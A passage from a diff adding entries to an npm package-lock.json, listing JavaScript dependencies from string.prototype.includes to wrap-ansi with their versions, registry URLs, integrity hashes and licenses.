"node_modules/string.prototype.includes": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz", + "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.12", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz", + "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "regexp.prototype.flags": "^1.5.3", + "set-function-name": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.repeat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz", + "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.5" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/stripe": { + "version": "20.4.0", + "resolved": "https://registry.npmjs.org/stripe/-/stripe-20.4.0.tgz", + "integrity": "sha512-F/aN1IQ9vHmlyLNi3DkiIbyzQb6gyBG0uYFd/VrEVQSc9BLtlgknPUx0EvzZdBMRLFuRaPFIFd7Mxwtg7Pbwzw==", + "license": "MIT", + "engines": { + "node": ">=16" + }, + "peerDependencies": { + "@types/node": ">=16" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/styled-jsx": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/styled-jsx/-/styled-jsx-5.1.1.tgz", + "integrity": "sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==", + "license": "MIT", + "dependencies": { + "client-only": "0.0.1" + }, + "engines": { + "node": ">= 12.0.0" + }, + "peerDependencies": { + "react": ">= 16.8.0 || 17.x.x || ^18.0.0-0" + }, + "peerDependenciesMeta": { + "@babel/core": { + "optional": true + }, + "babel-plugin-macros": { + "optional": true + } + } + }, + "node_modules/sucrase": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", + "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "tinyglobby": "^0.2.11", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tailwind-merge": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-3.5.0.tgz", + "integrity": "sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "3.4.19", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", + "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.6.0", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.2", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.21.7", + "lilconfig": "^3.1.3", + "micromatch": "^4.0.8", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.1.1", + "postcss": "^8.4.47", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", + "postcss-nested": "^6.2.0", + "postcss-selector-parser": "^6.1.2", + "resolve": "^1.22.8", + "sucrase": "^3.35.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "dev": true, + "license": "MIT" + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tinyexec": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.0.2.tgz", + "integrity": "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/ts-api-utils": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.4.0.tgz", + "integrity": "sha512-3TaVTaAv2gTiMB35i3FiGJaRfwb3Pyn/j3m/bfAvGe8FB7CF6u+LMYqYlDh7reQf7UNvoTvdfAqHGmPGOSsPmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/tsconfig-paths": { + "version": "3.15.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz", + "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/json5": "^0.0.29", + "json5": "^1.0.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/tsx": { + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.21.0.tgz", + "integrity": "sha512-5C1sg4USs1lfG0GFb2RLXsdpXqBSEhAaA/0kPL01wxzpMqLILNxIxIOKiILz+cdg/pLnOUxFYOR5yhHU666wbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "~0.27.0", + "get-tsconfig": "^4.7.5" + }, + "bin": { + "tsx": "dist/cli.mjs" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + } + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz", + "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz", + "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.14" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz", + "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-proto": "^1.2.0", + "is-typed-array": "^1.1.15", + "reflect.getprototypeof": "^1.0.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz", + "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "is-typed-array": "^1.1.13", + "possible-typed-array-names": "^1.0.0", + "reflect.getprototypeof": "^1.0.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/unbox-primitive": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz", + "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "has-bigints": "^1.0.2", + "has-symbols": "^1.1.0", + "which-boxed-primitive": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "license": "MIT" + }, + "node_modules/unrs-resolver": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/unrs-resolver/-/unrs-resolver-1.11.1.tgz", + "integrity": "sha512-bSjt9pjaEBnNiGgc9rUiHGKv5l4/TGzDmYw3RhnkJGtLhbnnA/5qJj7x3dNDCRx/PJxu774LlH8lCOlB4hEfKg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "napi-postinstall": "^0.3.0" + }, + "funding": { + "url": "https://opencollective.com/unrs-resolver" + }, + "optionalDependencies": { + "@unrs/resolver-binding-android-arm-eabi": "1.11.1", + "@unrs/resolver-binding-android-arm64": "1.11.1", + "@unrs/resolver-binding-darwin-arm64": "1.11.1", + "@unrs/resolver-binding-darwin-x64": "1.11.1", + "@unrs/resolver-binding-freebsd-x64": "1.11.1", + "@unrs/resolver-binding-linux-arm-gnueabihf": "1.11.1", + "@unrs/resolver-binding-linux-arm-musleabihf": "1.11.1", + "@unrs/resolver-binding-linux-arm64-gnu": "1.11.1", + "@unrs/resolver-binding-linux-arm64-musl": "1.11.1", + "@unrs/resolver-binding-linux-ppc64-gnu": "1.11.1", + "@unrs/resolver-binding-linux-riscv64-gnu": "1.11.1", + "@unrs/resolver-binding-linux-riscv64-musl": "1.11.1", + "@unrs/resolver-binding-linux-s390x-gnu": "1.11.1", + "@unrs/resolver-binding-linux-x64-gnu": "1.11.1", + "@unrs/resolver-binding-linux-x64-musl": "1.11.1", + "@unrs/resolver-binding-wasm32-wasi": "1.11.1", + "@unrs/resolver-binding-win32-arm64-msvc": "1.11.1", + "@unrs/resolver-binding-win32-ia32-msvc": "1.11.1", + "@unrs/resolver-binding-win32-x64-msvc": "1.11.1" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/valibot": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/valibot/-/valibot-1.2.0.tgz", + "integrity": "sha512-mm1rxUsmOxzrwnX5arGS+U4T25RdvpPjPN4yR0u9pUBov9+zGVtO84tif1eY4r6zWxVxu3KzIyknJy3rxfRZZg==", + "license": "MIT", + "peerDependencies": { + "typescript": ">=5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-module": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", + "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==", + "license": "ISC" + }, + "node_modules/which-typed-array": { + "version": "1.1.20", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.20.tgz", + "integrity": "sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": 